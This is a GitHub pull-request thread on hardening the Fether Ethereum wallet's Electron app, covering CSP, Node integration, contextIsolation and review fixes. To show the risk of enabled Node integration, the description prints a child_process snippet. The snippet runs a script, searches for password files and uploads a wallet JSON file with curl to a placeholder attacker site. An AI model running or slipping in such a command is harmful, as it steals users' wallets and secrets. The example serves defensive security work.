Skip to content
This repository was archived by the owner on May 24, 2022. It is now read-only.

Conversation

@ltfschoen
Copy link
Contributor

@ltfschoen ltfschoen commented Feb 25, 2019

  • Electron Security https://electronjs.org/docs/tutorial/security
    • Latest Electron version used
    • Dependencies are trusted
      • Only use local files packaged with app to execute Node.js code.
    • Defend against XSS and Remote Code Execution (RCE) attacks - Action taken: Attempted in this PR
    • Checklist: Security Recommendations
      • Only load secure content
        • Potential issues:
          • Potential issue loading token image files fether-react/src/assets/tokens/foundation.json, since malicious DLL may be appended to the end
          • Unsecure protocols (i.e. http, ws) are allowed in fether-react/public/index.html, but may jeopardise the authenticity and integrity of the loaded resources since it won't be encrypted traffic and 'unsafe-eval' is currently required for Fether to work
        • Proposed solution (as discussed with amaurymartiny):
          • If the token images being appended with malicious DLLs is a serious concern, then we must be safe and should pre-download the token logo images. UPDATE: Only allowing https: in CSP
          • Remove http: in img-src of the CSP to be safe. Token providers will have to put their logos as https://
          • Remove ws: and http: from connect-src in the CSP. We should only allow http: and unsafe-eval in dev mode, as that's required by create-react-app
          • Connection is via ws:// to parity-ethereum https://github.com/paritytech/fether/blob/master/packages/fether-react/src/stores/parityStore.js#L77, though the connection is secure (there are the Sec-* fields in the ws connection in the network tab. Change to wss:// for safety
      • Only load secure content
        • Preload Script to be used. After disabling nodeIntegration, expose custom APIs to the later loaded website that consume Node.js modules or features using a preload scripts, since the preload script has access Node.js features like require, but then the website only has access to methods attached to the window object, but no Node.js features.
      • Disable Node.js integration and Enable contextIsolation in any renderer (i.e. BrowserWindow, BrowserView, or ) that loads remote content to limit power granted. Grant additional permissions for specific hosts (i.e. give websites we are opening such as example.com/ using BrowserWindow only the power it needs.
        • Do not load and execute remote code from untrusted sources when nodeIntegration: true or contextIsolation: false
        • "Only load secure content". Changes required in createWindow.js where we are creating instance of new BrowserWindow
        • UPDATE: See other notes as to why we cannot disable contextIsolation to to need for ipcRenderer
      • Disable Node.js integration to prevent require being available in Chrome Dev Tools Console
var exec = require('child_process').exec;
exec('cd ~; ls; touch evil.sh; bash evil.sh; echo "evil dump"; find . -name "password" -print; curl --upload-file ./ethereum-wallet.json https://myhacksite', function (error, stdout, stderr) {
  console.log('stdout: ' + stdout);
  console.log('stderr: ' + stderr);
  if (error !== null) {
    console.log('exec error: ' + error);
  }
});
      • Handle session permission requests from remote content
      • Do not disable web security (i.e. ensure webSecurity: true is set) - Action taken: explicitly enabled
      • Define a Content Security Policy (CSP). See Content-Security-Policy metatag in fether-react/public/index.html
      • Do not set allowRunningInsecureContent: true - Action taken: explicitly disabled
      • Do not enable experimental features experimentalFeatures: true - Action taken: explicitly disabled
      • Do not use enableBlinkFeatures - Action taken: explicitly disabled
      • Do not use allowpopups - Action taken: not used
      • Verify WebView Options before creation - Action taken: not used
      • Disable or limit navigation
      • Disable or limit creation of new windows
      • Do not use openExternal with untrusted content
    • Vulnerabilities published on the Electron blog mitigation
    • Security testing. UPDATE: Separate PR and external audit
    • Electron security warnings enabled. Reference
    • Detected Electron security misconfigurations and insecure patterns using electronegativity
       npm install @doyensec/electronegativity -g;
       electronegativity -i ./packages/fether-electron/
      
    • Review Electron Security Checklist by Doyensec for potential weakness and potential bugs
    • Fix Electron Security and Deprecation Warnings that appear in the browser "Toggle Developer Tools > Console". UPDATE: To be addressed in future PR
VM19:1877 Electron Security Warning (Insecure Resources) This renderer process loads resources using insecure
  protocols.This exposes users of this app to unnecessary security risks.
  Consider loading the following resources over HTTPS or FTPS. 
 - http://localhost:3000/static/js/bundle.js
- http://localhost:3000/static/js/0.chunk.js
- http://localhost:3000/static/js/main.chunk.js

For more information and help, consult
https://electronjs.org/docs/tutorial/security.
 This warning will not show up
once the app is packaged.

VM19:1937 Electron Security Warning (Insecure Content-Security-Policy) This renderer process has either no Content Security
    Policy set or a policy with "unsafe-eval" enabled. This exposes users of
    this app to unnecessary security risks.
 
For more information and help, consult
https://electronjs.org/docs/tutorial/security.
 This warning will not show up
once the app is packaged.

@Tbaut
Copy link
Collaborator

Tbaut commented Feb 27, 2019

Small conflict, can you resolve it @ltfschoen ?
I requested @axelchalon review because this is above my head.

edit: Sorry, just realized it's not labelled as "pleasereview".

@ltfschoen
Copy link
Contributor Author

Thanks for reviewing it so far, but I'm still reviewing security guides and would prefer to bundle all the changes in the same PR. I've added a checklist of bulletpoints and will try and address as much as possible in the implementation. If I can't implement a security recommendation I'll add a note in the checklist.

Copy link
Collaborator

@amaury1093 amaury1093 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Very nice, thanks Luke! This is crucial.

I have a couple of small comments, but overall it looks good to me

'unsafe-eval' is currently required for Fether to work

Only in dev (i.e. with yarn start). If there's a way to have different CSP by NODE_ENV, that'd be perfect.

Dev:
        default-src 'none';
        script-src http: 'unsafe-inline' 'unsafe-eval';
        connect-src http: https: ws: wss:;
        img-src 'self' 'unsafe-inline' file: data: blob: http: https:;
        style-src 'unsafe-inline' blob: file:;
        worker-src 'blob';

Prod:
        default-src 'none';
        script-src file: 'unsafe-inline';
        connect-src http: https: ws: wss:;
        img-src 'self' 'unsafe-inline' file: data: blob: http: https:;
        style-src 'unsafe-inline' blob: file:;
        worker-src 'blob';

(^ can possibly be even more strict, needs testing)

Preload Script to be used

No, we don't need preload scripts in Fether. Actually we do.

@ltfschoen
Copy link
Contributor Author

ltfschoen commented Mar 13, 2019

'unsafe-eval' is currently required for Fether to work

Only in dev (i.e. with yarn start). If there's a way to have different CSP by NODE_ENV, that'd be perfect.

Dev:
        default-src 'none';
        script-src http: 'unsafe-inline' 'unsafe-eval';
        connect-src http: https: ws: wss:;
        img-src 'self' 'unsafe-inline' file: data: blob: http: https:;
        style-src 'unsafe-inline' blob: file:;
        worker-src 'blob';

Prod:
        default-src 'none';
        script-src file: 'unsafe-inline';
        connect-src http: https: ws: wss:;
        img-src 'self' 'unsafe-inline' file: data: blob: http: https:;
        style-src 'unsafe-inline' blob: file:;
        worker-src 'blob';

(^ can possibly be even more strict, needs testing)

I think you may not have pulled the latest from my branch.
I've pushed a commit that applies the CSP conditional on the NODE_ENV, but if I run it with nodeIntegration: false (uncommented) then it displays Uncaught TypeError: window.require is not a function in the Chrome Inspector > Console when I choose Toggle Developer Tools from the menu, since we've disabled use of Node.js's require, but we're using it to import Electron in fether-react package's parityStore.js file.

In my latest commit nodeIntegration: false is commented out https://github.com/paritytech/fether/pull/451/files#diff-4a03fc50a1d822fd063ef727b280fe84R91

@amaury1093
Copy link
Collaborator

I think you may not have pulled the latest from my branch.

Ah ok, that's possible. I'll have another look tomorrow in the morning 👍

@ltfschoen
Copy link
Contributor Author

ltfschoen commented Apr 5, 2019

@amaurymartiny I've pushed commits addressing your latest review comments. I've tested that it works on Linux (Debian 8) using yarn start, yarn electron and building and running the binary

We still need to test that it works on macOS and Windows

Copy link
Collaborator

@amaury1093 amaury1093 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code lgtm!

When I was checking that it worked I create both a non-Parity Signer account plus imported...

This is expected. yarn start, yarn electron and the binary have each their own localStorage, so the signer accounts are not shared (unfortunately).

'--ws-port',
cli.wsPort
cli.wsPort,
'--ws-origins',

This comment was marked as resolved.

cli.wsPort
cli.wsPort,
'--ws-origins',
TRUSTED_WS_ORIGINS
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can remove this. parity by default allows all origins in *.parity

Copy link
Collaborator

@amaury1093 amaury1093 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Tiny nit (introduced recently), otherwise I'm okay to merge this 🎉 !

"lint-files": "./scripts/lint-files.sh",
"lint": "yarn lint-files '**/*.js'",
"lint-files": "./scripts/lint-files.sh '**/*.js'",
"lint": "yarn lint-files",
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why this change? This makes the pre-commit hook less performant

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Without the change it was trying to lint the .ts files and the pre-commit hook was preventing me from pushing

@amaury1093
Copy link
Collaborator

Also, I just noticed this: can you remove the package-lock.json?

@ltfschoen
Copy link
Contributor Author

Unfortunately i accidently left my laptop charger in the office so may not be able to address the removal of package-lock.json until Monday

@Tbaut Tbaut self-requested a review April 6, 2019 15:25
Copy link
Collaborator

@Tbaut Tbaut left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've tested (linux) an ETH transaction and the link to blockscout was not working and invalid: https://blockscout.com/eth/kovan/tx/undefined/internal_transactions (clicking on it didn't do anything).

image

other than that things look good 👍

@ltfschoen
Copy link
Contributor Author

I've tested (linux) an ETH transaction and the link to blockscout was not working and invalid: https://blockscout.com/eth/kovan/tx/undefined/internal_transactions (clicking on it didn't do anything).

image

other than that things look good

thanks! i've pushed a commit to fix this now

@amaury1093
Copy link
Collaborator

amaury1093 commented Apr 8, 2019

Let's merge it then! I'll test the generated binaries right after. Thanks Luke for this important PR.

@amaury1093 amaury1093 merged commit d0ae207 into master Apr 8, 2019
@amaury1093 amaury1093 deleted the luke-124-security branch April 8, 2019 09:08
version "5.1.1"
resolved "https://registry.yarnpkg.com/@parity/light.js/-/light.js-5.1.1.tgz#141f4c168f46208b1caa6273161ad9a8b1675862"
integrity sha512-AJ/klFpim+lKLxYKpIhJL9Btu4OuXs43lfbBK8XA0kXOV6M51vCv5n+sO5oTWVx6IJE3lXuDIc674H9BC4fcvQ==
version "5.1.3"
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

AH I didn't see this, I merged too fast... @parity/* should NOT have been updated, with this update we cannot send a tx. I'll add a patch asap

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants